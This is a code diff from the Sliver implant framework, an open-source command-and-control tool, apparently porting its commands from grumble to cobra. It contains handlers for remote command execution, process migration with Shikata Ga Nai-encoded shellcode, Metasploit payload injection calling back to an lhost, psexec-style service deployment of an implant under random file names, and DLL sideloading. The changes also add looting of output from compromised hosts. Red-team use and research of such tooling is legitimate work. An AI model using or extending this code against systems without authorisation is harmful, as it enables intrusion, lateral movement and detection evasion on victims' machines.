"google.golang.org/protobuf/proto"
)
// ExecuteCmd - Run a command on the remote system
func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func ExecuteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
cmdPath := ctx.Args.String("command")
args := ctx.Args.StringList("arguments")
token := ctx.Flags.Bool("token")
output := ctx.Flags.Bool("output")
stdout := ctx.Flags.String("stdout")
stderr := ctx.Flags.String("stderr")
cmdPath := args[0]
args = args[1:]
token, _ := cmd.Flags().GetBool("token")
hidden, _ := cmd.Flags().GetBool("hidden")
output, _ := cmd.Flags().GetBool("output")
stdout, _ := cmd.Flags().GetString("stdout")
stderr, _ := cmd.Flags().GetString("stderr")
saveLoot, _ := cmd.Flags().GetBool("loot")
saveOutput, _ := cmd.Flags().GetBool("save")
ppid, _ := cmd.Flags().GetUint32("ppid")
hostName := getHostname(session, beacon)
// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
captureOutput := output || saveLoot || saveOutput
if output && beacon != nil {
con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
@@ -51,21 +65,28 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
if token {
exec, err = con.Rpc.ExecuteToken(context.Background(), &sliverpb.ExecuteTokenReq{
Request: con.ActiveTarget.Request(ctx),
Path: cmdPath,
Args: args,
Output: output,
Stderr: stderr,
Stdout: stdout,
if token || hidden || ppid != 0 {
if session.OS != "windows" {
con.PrintErrorf("The token, hide window, and ppid options are not valid on %s\n", session.OS)
return
}
exec, err = con.Rpc.ExecuteWindows(context.Background(), &sliverpb.ExecuteWindowsReq{
Request: con.ActiveTarget.Request(cmd),
Path: cmdPath,
Args: args,
Output: captureOutput,
Stderr: stderr,
Stdout: stdout,
UseToken: token,
HideWindow: hidden,
PPid: ppid,
})
} else {
exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveTarget.Request(cmd),
Path: cmdPath,
Args: args,
Output: output,
Output: captureOutput,
Stderr: stderr,
Stdout: stdout,
})
@@ -84,24 +105,44 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintExecute(exec, ctx, con)
HandleExecuteResponse(exec, cmdPath, hostName, cmd, con)
})
con.PrintAsyncResponse(exec.Response)
} else {
PrintExecute(exec, ctx, con)
HandleExecuteResponse(exec, cmdPath, hostName, cmd, con)
}
}
// PrintExecute - Print the output of an executed command
func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.SliverConsoleClient) {
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
saveLoot := ctx.Flags.Bool("loot")
stdout := ctx.Flags.String("stdout")
stderr := ctx.Flags.String("stderr")
cmdPath := ctx.Args.String("command")
args := ctx.Args.StringList("arguments")
func HandleExecuteResponse(exec *sliverpb.Execute, cmdPath string, hostName string, cmd *cobra.Command, con *console.SliverConsoleClient) {
var lootedOutput []byte
stdout, _ := cmd.Flags().GetString("stdout")
saveLoot, _ := cmd.Flags().GetBool("loot")
saveOutput, _ := cmd.Flags().GetBool("save")
lootName, _ := cmd.Flags().GetString("name")
ignoreStderr, _ := cmd.Flags().GetBool("ignore-stderr")
output := ctx.Flags.Bool("output")
if saveLoot || saveOutput {
lootedOutput = combineCommandOutput(exec, stdout == "", !ignoreStderr && 0 < len(exec.Stderr))
}
if saveLoot {
LootExecute(lootedOutput, lootName, cmd.Name(), cmdPath, hostName, con)
}
if saveOutput {
SaveExecutionOutput(string(lootedOutput), cmd.Name(), hostName, con)
}
PrintExecute(exec, cmd, con)
}
// PrintExecute - Print the output of an executed command
func PrintExecute(exec *sliverpb.Execute, cmd *cobra.Command, con *console.SliverConsoleClient) {
ignoreStderr, _ := cmd.Flags().GetBool("ignore-stderr")
stdout, _ := cmd.Flags().GetString("stdout")
stderr, _ := cmd.Flags().GetString("stderr")
output, _ := cmd.Flags().GetBool("output")
if !output {
if exec.Status == 0 {
con.PrintInfof("Command executed successfully\n")
@@ -111,17 +152,14 @@ func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.Sli
return
}
combined := ""
if stdout == "" {
combined = string(exec.Stdout)
con.PrintInfof("Output:\n%s", combined)
con.PrintInfof("Output:\n%s", string(exec.Stdout))
} else {
con.PrintInfof("Stdout saved at %s\n", stdout)
}
if stderr == "" {
if !ignoreStderr && 0 < len(exec.Stderr) {
combined = fmt.Sprintf("%s\nStderr:\n%s", combined, string(exec.Stderr))
con.PrintInfof("Stderr:\n%s", string(exec.Stderr))
}
} else {
@@ -131,13 +169,96 @@ func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.Sli
if exec.Status != 0 {
con.PrintErrorf("Exited with status %d!\n", exec.Status)
}
if saveLoot && 0 < len(combined) {
name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
err := loot.AddLootFile(con.Rpc, name, "console.txt", []byte(combined), false)
if err != nil {
con.PrintErrorf("Failed to save output as loot: %s\n", err)
} else {
con.PrintInfof("Output saved as loot\n")
}
func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.Hostname
}
if beacon != nil {
return beacon.Hostname
}
return ""
}
func determineCommandName(command string) string {
commandName := strings.ReplaceAll(command, "\\", "/")
commandName = commandName[strings.LastIndex(commandName, "/")+1:]
if strings.Contains(commandName, ".") {
commandName = commandName[:strings.LastIndex(commandName, ".")]
}
return commandName
}
func combineCommandOutput(exec *sliverpb.Execute, combineStdOut bool, combineStdErr bool) []byte {
var outputString string = ""
if combineStdOut {
outputString += "Output (stdout):\n" + string(exec.Stdout)
}
if combineStdErr {
if combineStdOut {
outputString += "\n"
}
outputString += "Stderr:\n" + string(exec.Stderr)
}
return []byte(outputString)
}
func LootExecute(commandOutput []byte, lootName string, sliverCmdName string, cmdName string, hostName string, con *console.SliverConsoleClient) {
if len(commandOutput) == 0 {
con.PrintInfof("There was no output from execution, so there is nothing to loot.\n")
return
}
timeNow := time.Now().UTC().Format("20060102150405")
shortCommandName := determineCommandName(cmdName)
fileName := fmt.Sprintf("%s_%s_%s_%s.log", sliverCmdName, hostName, shortCommandName, timeNow)
if lootName == "" {
lootName = fmt.Sprintf("[%s] %s on %s (%s)", sliverCmdName, shortCommandName, hostName, timeNow)
}
lootMessage := loot.CreateLootMessage(fileName, lootName, clientpb.FileType_TEXT, commandOutput)
loot.SendLootMessage(lootMessage, con)
}
func PrintExecutionOutput(executionOutput string, saveOutput bool, commandName string, hostName string, con *console.SliverConsoleClient) {
con.PrintInfof("Output:\n%s", executionOutput)
if saveOutput {
SaveExecutionOutput(executionOutput, commandName, hostName, con)
}
}
func SaveExecutionOutput(executionOutput string, commandName string, hostName string, con *console.SliverConsoleClient) {
var outFilePath *os.File
var err error
if len(executionOutput) == 0 {
con.PrintInfof("There was no output from execution, so there is nothing to save.")
return
}
timeNow := time.Now().UTC().Format("20060102150405")
outFileName := filepath.Base(fmt.Sprintf("%s_%s_%s*.log", commandName, hostName, timeNow))
outFilePath, err = os.CreateTemp("", outFileName)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if outFilePath != nil {
outFilePath.Write([]byte(executionOutput))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
+47 -5
View File
@@ -3,14 +3,17 @@ package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
@@ -18,27 +21,66 @@ package exec
import (
"context"
"fmt"
"strings"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
// MigrateCmd - Windows only, inject an implant into another process
func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func MigrateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session := con.ActiveTarget.GetSession()
if session == nil {
return
}
pid := ctx.Args.Uint("pid")
pid, _ := cmd.Flags().GetUint32("pid")
procName, _ := cmd.Flags().GetString("process-name")
if pid == 0 && procName == "" {
con.PrintErrorf("Error: Must specify either a PID or process name\n")
return
}
if procName != "" {
procCtrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Searching for %s ...", procName), procCtrl)
proc, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(cmd),
})
if err != nil {
con.PrintErrorf("Error: %v\n", err)
return
}
procCtrl <- true
<-procCtrl
for _, p := range proc.GetProcesses() {
if strings.EqualFold(p.Executable, procName) {
pid = uint32(p.Pid)
break
}
}
if pid == 0 {
con.PrintErrorf("Error: Could not find process %s\n", procName)
return
}
con.PrintInfof("Process name specified, overriding PID with %d\n", pid)
}
config := con.GetActiveSessionConfig()
encoder := clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
if disableSgn, _ := cmd.Flags().GetBool("disable-sgn"); disableSgn {
encoder = clientpb.ShellcodeEncoder_NONE
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Migrating into %d ...", pid), ctrl)
migrate, err := con.Rpc.Migrate(context.Background(), &clientpb.MigrateReq{
Pid: uint32(pid),
Pid: pid,
Config: config,
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveTarget.Request(cmd),
Encoder: encoder,
})
ctrl <- true
<-ctrl
+35 -17
View File
@@ -22,45 +22,54 @@ import (
"context"
"fmt"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// MsfInjectCmd - Inject a metasploit payload into a remote process
func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
func MsfInjectCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
payloadName := ctx.Flags.String("payload")
lhost := ctx.Flags.String("lhost")
lport := ctx.Flags.Int("lport")
encoder := ctx.Flags.String("encoder")
iterations := ctx.Flags.Int("iterations")
pid := ctx.Flags.Int("pid")
payloadName, _ := cmd.Flags().GetString("payload")
lhost, _ := cmd.Flags().GetString("lhost")
lport, _ := cmd.Flags().GetInt("lport")
encoder, _ := cmd.Flags().GetString("encoder")
iterations, _ := cmd.Flags().GetInt("iterations")
pid, _ := cmd.Flags().GetInt("pid")
if lhost == "" {
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
return
}
if pid == -1 {
con.PrintErrorf("Invalid pid '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Injecting payload %s %s/%s -> %s:%d ...",
payloadName, session.OS, session.Arch, lhost, lport)
msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
payloadName, goos, goarch, lhost, lport)
con.SpinUntil(msg, ctrl)
msfTask, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveTarget.Request(cmd),
Payload: payloadName,
LHost: lhost,
LPort: uint32(lport),
@@ -90,6 +99,15 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
}
// PrintMsfRemote - Print the results of the remote injection attempt
func PrintMsfRemote(msfRemote *sliverpb.Task, con *console.SliverConsoleClient) {
if msfRemote.Response == nil {
con.PrintErrorf("Empty response from msf payload injection task")
return
}
if msfRemote.Response.Err != "" {
con.PrintInfof("Executed payload on target")
} else {
con.PrintErrorf("Failed to inject payload: %s", msfRemote.Response.Err)
}
}
+39 -15
View File
@@ -22,37 +22,48 @@ import (
"context"
"fmt"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// MsfCmd - Inject a metasploit payload into the current remote process
func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
func MsfCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
payloadName := ctx.Flags.String("payload")
lhost := ctx.Flags.String("lhost")
lport := ctx.Flags.Int("lport")
encoder := ctx.Flags.String("encoder")
iterations := ctx.Flags.Int("iterations")
payloadName, _ := cmd.Flags().GetString("payload")
lhost, _ := cmd.Flags().GetString("lhost")
lport, _ := cmd.Flags().GetInt("lport")
encoder, _ := cmd.Flags().GetString("encoder")
iterations, _ := cmd.Flags().GetInt("iterations")
if lhost == "" {
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfStr)
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Sending payload %s %s/%s -> %s:%d ...",
payloadName, session.OS, session.Arch, lhost, lport)
msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
payloadName, goos, goarch, lhost, lport)
con.SpinUntil(msg, ctrl)
_, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
Request: con.ActiveTarget.Request(ctx),
msfTask, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
Request: con.ActiveTarget.Request(cmd),
Payload: payloadName,
LHost: lhost,
LPort: uint32(lport),
@@ -63,7 +74,20 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if msfTask.Response != nil && msfTask.Response.Async {
con.AddBeaconCallback(msfTask.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, msfTask)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintMsfRemote(msfTask, con)
})
con.PrintAsyncResponse(msfTask.Response)
} else {
con.PrintInfof("Executed payload on target\n")
PrintMsfRemote(msfTask, con)
}
}
+86 -44
View File
@@ -21,10 +21,14 @@ package exec
import (
"context"
"fmt"
insecureRand "math/rand"
"os"
"strings"
"time"
insecureRand "math/rand"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
@@ -32,26 +36,27 @@ import (
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"github.com/desertbit/grumble"
)
// PsExecCmd - psexec command implementation.
func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func PsExecCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
hostname := ctx.Args.String("hostname")
hostname := args[0]
if hostname == "" {
con.PrintErrorf("You need to provide a target host, see `help psexec` for examples")
return
}
profile := ctx.Flags.String("profile")
serviceName := ctx.Flags.String("service-name")
serviceDesc := ctx.Flags.String("service-description")
binPath := ctx.Flags.String("binpath")
uploadPath := fmt.Sprintf(`\\%s\%s`, hostname, strings.ReplaceAll(strings.ToLower(ctx.Flags.String("binpath")), "c:", "C$"))
var serviceBinary []byte
profile, _ := cmd.Flags().GetString("profile")
serviceName, _ := cmd.Flags().GetString("service-name")
serviceDesc, _ := cmd.Flags().GetString("service-description")
binPath, _ := cmd.Flags().GetString("binpath")
customExe, _ := cmd.Flags().GetString("custom-exe")
uploadPath := fmt.Sprintf(`\\%s\%s`, hostname, strings.ReplaceAll(strings.ToLower(binPath), "c:", "C$"))
if serviceName == "Sliver" || serviceDesc == "Sliver implant" {
con.PrintWarnf("You're going to deploy the following service:\n- Name: %s\n- Description: %s\n", serviceName, serviceDesc)
@@ -61,35 +66,46 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
}
if profile == "" {
con.PrintErrorf("You need to pass a profile name, see `help psexec` for more info\n")
return
if customExe == "" {
if profile == "" {
con.PrintErrorf("You need to pass a profile name, see `help psexec` for more info\n")
return
}
// generate sliver
generateCtrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Generating sliver binary for %s\n", profile), generateCtrl)
profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
}
generateCtrl <- true
<-generateCtrl
var implantProfile *clientpb.ImplantProfile
for _, prof := range profiles.Profiles {
if prof.Name == profile {
implantProfile = prof
}
}
if implantProfile.GetName() == "" {
con.PrintErrorf("No profile found for name %s\n", profile)
return
}
serviceBinary, _ = generate.GetSliverBinary(implantProfile, con)
} else {
// use a custom exe instead of generating a new Sliver
fileBytes, err := os.ReadFile(customExe)
if err != nil {
con.PrintErrorf("Error reading custom executable '%s'\n", customExe)
return
}
serviceBinary = fileBytes
}
// generate sliver
generateCtrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Generating sliver binary for %s\n", profile), generateCtrl)
profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
}
generateCtrl <- true
<-generateCtrl
var implantProfile *clientpb.ImplantProfile
for _, prof := range profiles.Profiles {
if prof.Name == profile {
implantProfile = prof
}
}
if implantProfile.GetName() == "" {
con.PrintErrorf("No profile found for name %s\n", profile)
return
}
sliverBinary, err := generate.GetSliverBinary(implantProfile, con)
filename := randomString(10)
filename := randomFileName()
filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
uploadGzip := new(encoders.Gzip).Encode(sliverBinary)
uploadGzip, _ := new(encoders.Gzip).Encode(serviceBinary)
// upload to remote target
uploadCtrl := make(chan bool)
con.SpinUntil("Uploading service binary ...", uploadCtrl)
@@ -97,7 +113,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Encoder: "gzip",
Data: uploadGzip,
Path: filePath,
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveTarget.Request(cmd),
})
uploadCtrl <- true
<-uploadCtrl
@@ -120,7 +136,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
start, err := con.Rpc.StartService(context.Background(), &sliverpb.StartServiceReq{
BinPath: binaryPath,
Hostname: hostname,
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveTarget.Request(cmd),
ServiceDescription: serviceDesc,
ServiceName: serviceName,
Arguments: "",
@@ -143,7 +159,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Hostname: hostname,
ServiceName: serviceName,
},
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveTarget.Request(cmd),
})
removeChan <- true
<-removeChan
@@ -158,11 +174,37 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("Successfully removed service %s on %s\n", serviceName, hostname)
}
func randomString(length int) string {
var charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
b := make([]byte, length)
for i := range b {
b[i] = charset[insecureRand.Intn(len(charset))]
func randomString() string {
alphanumeric := "abcdefghijklmnopqrstuvwxyz0123456789"
str := ""
for index := 0; index < insecureRand.Intn(8)+1; index++ {
str += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
}
return string(b)
return str
}
func randomFileName() string {
noun := randomString()
noun = strings.ToLower(noun)
switch insecureRand.Intn(3) {
case 0:
noun = strings.ToUpper(noun)
case 1:
noun = strings.ToTitle(noun)
}
separators := []string{"", "", "", "", "", ".", "-", "_", "--", "__"}
sep := separators[insecureRand.Intn(len(separators))]
alphanumeric := "abcdefghijklmnopqrstuvwxyz0123456789"
prefix := ""
for index := 0; index < insecureRand.Intn(3); index++ {
prefix += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
}
suffix := ""
for index := 0; index < insecureRand.Intn(6)+1; index++ {
suffix += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
}
return fmt.Sprintf("%s%s%s%s%s", prefix, sep, noun, sep, suffix)
}
+35 -31
View File
@@ -21,47 +21,56 @@ package exec
import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// SideloadCmd - Sideload a shared library on the remote system
func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func SideloadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
binPath := ctx.Args.String("filepath")
binPath := args[0]
binArgs := strings.Join(args[1:], " ")
entryPoint := ctx.Flags.String("entry-point")
processName := ctx.Flags.String("process")
args := strings.Join(ctx.Args.StringList("args"), " ")
entryPoint, _ := cmd.Flags().GetString("entry-point")
processName, _ := cmd.Flags().GetString("process")
keepAlive, _ := cmd.Flags().GetBool("keep-alive")
isUnicode, _ := cmd.Flags().GetBool("unicode")
pPid, _ := cmd.Flags().GetUint32("ppid")
binData, err := ioutil.ReadFile(binPath)
binData, err := os.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s", err.Error())
return
}
processArgsStr, _ := cmd.Flags().GetString("process-arguments")
processArgs := strings.Split(processArgsStr, " ")
isDLL := (filepath.Ext(binPath) == ".dll")
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
sideload, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
Request: con.ActiveTarget.Request(ctx),
Args: args,
Request: con.ActiveTarget.Request(cmd),
Args: binArgs,
Data: binData,
EntryPoint: entryPoint,
ProcessName: processName,
Kill: !ctx.Flags.Bool("keep-alive"),
Kill: !keepAlive,
IsDLL: isDLL,
IsUnicode: isUnicode,
PPid: pPid,
ProcessArgs: processArgs,
})
ctrl <- true
<-ctrl
@@ -70,7 +79,7 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
hostname := getHostname(session, beacon)
hostName := getHostname(session, beacon)
if sideload.Response != nil && sideload.Response.Async {
con.AddBeaconCallback(sideload.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, sideload)
@@ -78,34 +87,29 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintSideload(sideload, hostname, ctx, con)
HandleSideloadResponse(sideload, binPath, hostName, cmd, con)
})
con.PrintAsyncResponse(sideload.Response)
} else {
PrintSideload(sideload, hostname, ctx, con)
HandleSideloadResponse(sideload, binPath, hostName, cmd, con)
}
}
// PrintSideload - Print the sideload command output
func PrintSideload(sideload *sliverpb.Sideload, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
func HandleSideloadResponse(sideload *sliverpb.Sideload, binPath string, hostName string, cmd *cobra.Command, con *console.SliverConsoleClient) {
saveLoot, _ := cmd.Flags().GetBool("loot")
lootName, _ := cmd.Flags().GetString("name")
if sideload.GetResponse().GetErr() != "" {
con.PrintErrorf("%s\n", sideload.GetResponse().GetErr())
return
}
var outFilePath *os.File
var err error
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
con.PrintInfof("Output:\n%s", sideload.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(sideload.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
save, _ := cmd.Flags().GetBool("save")
PrintExecutionOutput(sideload.GetResult(), save, cmd.Name(), hostName, con)
if saveLoot {
LootExecute([]byte(sideload.Result), lootName, cmd.Name(), binPath, hostName, con)
}
}
+46 -31
View File
@@ -1,32 +1,52 @@
package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// SpawnDllCmd - Spawn execution of a DLL on the remote system
func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func SpawnDllCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
dllArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
binPath := ctx.Args.String("filepath")
processName := ctx.Flags.String("process")
exportName := ctx.Flags.String("export")
binPath := args[0]
dllArgs := strings.Join(args[1:], " ")
binData, err := ioutil.ReadFile(binPath)
processName, _ := cmd.Flags().GetString("process")
exportName, _ := cmd.Flags().GetString("export")
keepAlive, _ := cmd.Flags().GetBool("keep-alive")
binData, err := os.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -38,8 +58,8 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ProcessName: processName,
Args: dllArgs,
EntryPoint: exportName,
Request: con.ActiveTarget.Request(ctx),
Kill: !ctx.Flags.Bool("keep-alive"),
Request: con.ActiveTarget.Request(cmd),
Kill: !keepAlive,
})
if err != nil {
con.PrintErrorf("%s\n", err)
@@ -48,7 +68,7 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ctrl <- true
<-ctrl
hostname := getHostname(session, beacon)
hostName := getHostname(session, beacon)
if spawndll.Response != nil && spawndll.Response.Async {
con.AddBeaconCallback(spawndll.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, spawndll)
@@ -56,34 +76,29 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintSpawnDll(spawndll, hostname, ctx, con)
HandleSpawnDLLResponse(spawndll, binPath, hostName, cmd, con)
})
con.PrintAsyncResponse(spawndll.Response)
} else {
PrintSpawnDll(spawndll, hostname, ctx, con)
HandleSpawnDLLResponse(spawndll, binPath, hostName, cmd, con)
}
}
// PrintSpawnDll - Print the SpawnDll command response
func PrintSpawnDll(spawndll *sliverpb.SpawnDll, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
func HandleSpawnDLLResponse(spawndll *sliverpb.SpawnDll, binPath string, hostName string, cmd *cobra.Command, con *console.SliverConsoleClient) {
saveLoot, _ := cmd.Flags().GetBool("loot")
lootName, _ := cmd.Flags().GetString("name")
if spawndll.GetResponse().GetErr() != "" {
con.PrintErrorf("Failed to spawn dll: %s\n", spawndll.GetResponse().GetErr())
return
}
var outFilePath *os.File
var err error
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
con.PrintInfof("Output:\n%s", spawndll.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(spawndll.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
save, _ := cmd.Flags().GetBool("save")
PrintExecutionOutput(spawndll.GetResult(), save, cmd.Name(), hostName, con)
if saveLoot {
LootExecute([]byte(spawndll.GetResult()), lootName, cmd.Name(), binPath, hostName, con)
}
}
+67 -27
View File
@@ -1,21 +1,39 @@
package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
